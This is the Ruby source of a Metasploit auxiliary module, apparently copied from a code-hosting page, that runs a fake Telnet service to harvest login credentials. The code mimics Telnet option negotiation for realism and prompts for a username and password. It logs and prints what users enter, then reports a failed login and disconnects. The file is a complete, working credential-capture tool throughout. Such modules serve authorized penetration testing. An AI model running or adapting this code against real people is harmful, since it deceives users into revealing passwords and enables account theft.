145 lines
3.3 KiB
Ruby
145 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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# Fake Telnet Service - Kris Katterjohn 09/28/2008
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: Telnet',
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'Description' => %q{
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This module provides a fake Telnet service that
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is designed to capture authentication credentials. DONTs
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and WONTs are sent to the client for all option negotiations,
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except for ECHO at the time of the password prompt since
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the server controls that for a bit more realism.
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},
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'Author' => 'kris katterjohn',
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'License' => MSF_LICENSE,
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'Actions' => [ [ 'Capture' ] ],
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'PassiveActions' => [ 'Capture' ],
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'DefaultAction' => 'Capture'
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 23 ])
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], self.class)
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end
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def setup
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super
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@state = {}
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end
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def run
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print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
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exploit()
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end
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def on_client_connect(c)
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@state[c] = {
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:name => "#{c.peerhost}:#{c.peerport}",
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:ip => c.peerhost,
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:port => c.peerport,
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:user => nil,
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:pass => nil,
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:gotuser => false,
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:gotpass => false,
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:started => false
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}
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end
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def on_client_data(c)
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data = c.get_once
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return if not data
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offset = 0
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if data[0] == 0xff
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0.step(data.size, 3) do |x|
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break if data[x] != 0xff
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# Answer DONT/WONT for WILL/WONTs and DO/DONTs,
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# except for echoing which we WILL control for
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# the password
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reply = "\xffX#{data[x + 2].chr}"
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if @state[c][:pass] and data[x + 2] == 0x01
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reply[1] = "\xfb"
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elsif data[x + 1] == 0xfb or data[x + 1] == 0xfc
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reply[1] = "\xfe"
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elsif data[x + 1] == 0xfd or data[x + 1] == 0xfe
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reply[1] = "\xfc"
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end
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c.put reply
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offset += 3
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end
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end
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if not @state[c][:started]
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c.put "\r\nWelcome.\r\n\r\n"
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@state[c][:started] = true
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end
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if @state[c][:user].nil?
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c.put "Login: "
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@state[c][:user] = ""
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return
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end
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return if offset >= data.size
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data = data[offset, data.size]
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if not @state[c][:gotuser]
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@state[c][:user] = data.strip
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@state[c][:gotuser] = true
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c.put "\xff\xfb\x01" # WILL ECHO
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end
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if @state[c][:pass].nil?
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c.put "Password: "
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@state[c][:pass] = ""
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return
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end
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if not @state[c][:gotpass]
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@state[c][:pass] = data.strip
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@state[c][:gotpass] = true
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c.put "\x00\r\n"
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end
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report_auth_info(
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:host => @state[c][:ip],
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:port => datastore['SRVPORT'],
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:sname => 'telnet',
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:user => @state[c][:user],
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:pass => @state[c][:pass],
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:source_type => "captured",
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:active => true
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)
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print_status("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
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c.put "\r\nLogin failed\r\n\r\n"
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c.close
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end
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def on_client_close(c)
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@state.delete(c)
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end
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end
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